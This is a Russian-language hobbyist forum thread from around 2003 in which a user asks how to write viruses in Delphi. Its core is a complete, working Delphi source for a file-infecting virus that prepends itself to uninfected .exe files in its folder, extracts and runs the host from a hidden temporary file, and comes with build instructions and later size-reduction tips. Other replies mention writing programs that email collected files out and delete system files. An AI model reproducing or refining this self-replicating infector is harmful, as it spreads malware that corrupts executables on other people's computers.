Есть ли где учебник в Internete по написанию простейших вирусов на Delphi, конечно если такое возможно? Хочется по мимо всего владеть и этим...

Какие-то подозрительные у тебя наклонности

Я же сказал, что хочу знать как всё енто работает. Тем более мой одноклассник пишет вирусы на Бейсике, я то же зочу писать, только на Delphi, и только ради ознакомления и домашнего пользования.

Смаря что под вирусами понимать. Если всякие нюки\кейлогеры\мэйлбомберы\снифферы - то это элементарно на делфи. А сами вирусы не имеет смысла писать на делфи. Т.к. конечный продукт делфи - боьлшие екзешники. Для написания вирусов надо - c++ + asm.

Доков нигде не видел

Цитата

Т.к. конечный продукт делфи - боьлшие екзешники.

это при использовании VCL

Цитата

Я же сказал, что хочу знать как всё енто работает. Тем более мой одноклассник пишет вирусы на Бейсике,

Вот у него и возьми исходники и посмотри как все устроено, а потом переведи на паскаль

Это сообщение отредактировал(а) &-ray - 13.7.2003, 19:37

Я в Бейсике полный нуль!

Ну значит надо разбирать вместе с ним. Он на пальцах объясняет, что делает данная функция, а ты делаешь аналог на паскале

Ну, тогда буду 1-ого сентября просить у него исходник, а может кто-нибудь здеся свой предложит

Вирус - программный код, встраиваемый в екзешники.
При запуске инфицированной программы сначала выполняется этот код, который как правило делает что-то гадкое, а затем передает управление самой программе. По-моему типа так, но в этом я тоже не рулю, так что дальше врать не буду.

А действительно: что ты понимаешь под вирусами? Я, например, писал на Дельфях прогу, котора искала файлы по определённым параметрам и посылала их на нужное мыло (плюс несколько фич для более эффективного использования). Также писал прогу, удаляющую системные файлы. Это тоже, в принципе, вирусы (хоть и простейшие), но они не приписывали себя к другим файлам. Этому я тоже хочу научиться =)
Кстати, у меня где-то дока была по вирусам (правда, по-моему, на ассемблере). Если найду - скину.

http://sbvc.host.sk/

вот есть инфа, тока на дельфи тама мржет и нет

Привожу листинг наипростейшего и наитупейшего "вируса" (в кавычках) на Delphi.
Он даже не изменяет точку входа в инфицируемую программу, а просто приписывается вначало файла.
Да и не сколько себя не скрывает, даже создает временный файл. Но кто ни разу не видел кишок
вирусов может начать с этого.
Суть:
1) При запуске зараженного файла вирь ищет жертву в этом же каталоге.
Ищет он перебором всех не скрытых ехе-файлов (и притом не зараженных). Первый незараженный
файл и становится жертвой.
2) К этому файлу в начало приписывается тело вируса (размер файла увеличится на 360 кб)
3) Юзеру это сообщается
4) Создается скрытый ехе-файл, в который пишется тело программы, которая была запущено
(т.е. тело вируса обрезается)
5) Этот скрытый ехе-файл запускается

Как это заставить работать ?
1) Этот текст надо записать как .dpr (проект дельфи).
2) Открыть этот проект и компилировать
3) Посмотреть длину получившегося ехе-файла и прописать эту длину в const virSize
4) В каталог проекта засунуть пару ехе-файлов для теста
5) Теперь можно запускать

Код

program Project2; uses Windows, Forms, ShellApi, SysUtils; const virSize = 367104;  // !!! размер этого экзешника !!! var  h : THandle;  buf, vir, prg : pointer;  fsize, tmp : DWORD;  tmpName : string;  sr : TSearchRec;  Infested : boolean; begin // читаем запущенный инфицированный файл и выдираем из него саму программу и тело "вируса"  h := CreateFile (PChar(Application.ExeName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);  fsize := GetFileSize(h, @tmp) - virSize; // размер программы-размер вируса  GetMem(buf, fsize);  GetMem(vir, virSize);  tmp := 0;  ReadFile (h, vir^, virSize, tmp, nil); // читаем "вирус"  ReadFile (h, buf^, fsize, tmp, nil);   // читаем программу  CloseHandle (h); // поиск жертвы (все exe-файлы, но не скрытые)  if FindFirst ('*.exe', faAnyFile-faHidden, sr) = 0 then  begin    repeat      // читаем очередной .exe в память      h := CreateFile (PChar(sr.Name), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);      if h = 0 then continue; // если облом при открытии файла, то проверяем следующий      GetMem (prg, sr.Size);      ReadFile (h, prg^, sr.Size, tmp, nil);      CloseHandle (h);      Infested := false;      if sr.Size >= virSize then      // сравниваем начало считанного файла с телом "вируса"        asm // на паскале это выглядело бы коряво          pushad          mov esi, [prg]          mov edi, [vir]          mov ecx, (virSize/4)          cld          repe cmpsd          jne @end          inc byte ptr [Infested]        @end:          popad        end;      if Infested then // если файл уже заражен, то освобождаем память      begin        FreeMem(prg);        continue;      // и идем на проверку следующего файла      end;      // щас надо заразить жертву      h := CreateFile (PChar(sr.Name), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);      WriteFile (h, vir^, virSize, tmp, nil); // пишем тело "вируса"      WriteFile (h, prg^, sr.Size, tmp, nil); // пишем тело жертвы      CloseHandle(h);      FreeMem (prg);      MessageBox (0, PChar('Инфицирован: ' + sr.Name), '"Virus"', MB_ICONINFORMATION+MB_TASKMODAL);      Break;    until FindNext(sr) <> 0;    FindClose(sr);  end;  FreeMem (vir); // пишем исходный файл (без "вируса")  tmpName := PChar(Application.ExeName+'.exe');  h := CreateFile (PChar(tmpName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0);  tmp := 0;  WriteFile (h, buf^, fsize, tmp, nil);  CloseHandle (h);  FreeMem(buf); // запускаем исходный файл  ShellExecute(0, 'open', PChar(tmpName), nil, nil, SW_SHOWNORMAL); end.

Так что не обессудьте - я писал его специально для примера на дельфи.

Можно убрать из uses модуль Forms и вместо Application.ExeName использовать paramStr(0).
Тогда размер файла уменьшается на 300 кб. У меня он весит 40кб.

Размер охеренный. Но это ведь Delphi...

в любом случае надо учить асм.

40 кб - это до х...на. Смысл весь вируса в том, что свой код (несколько десятков машинных команд), он внедряет в файлы (запускные скажем). А сам код устроен так, что он плодится.

Можно "вирус" крутой сделать, по-круче всяких там кейлогеров - пиши мне на мыло - расскажу как ;)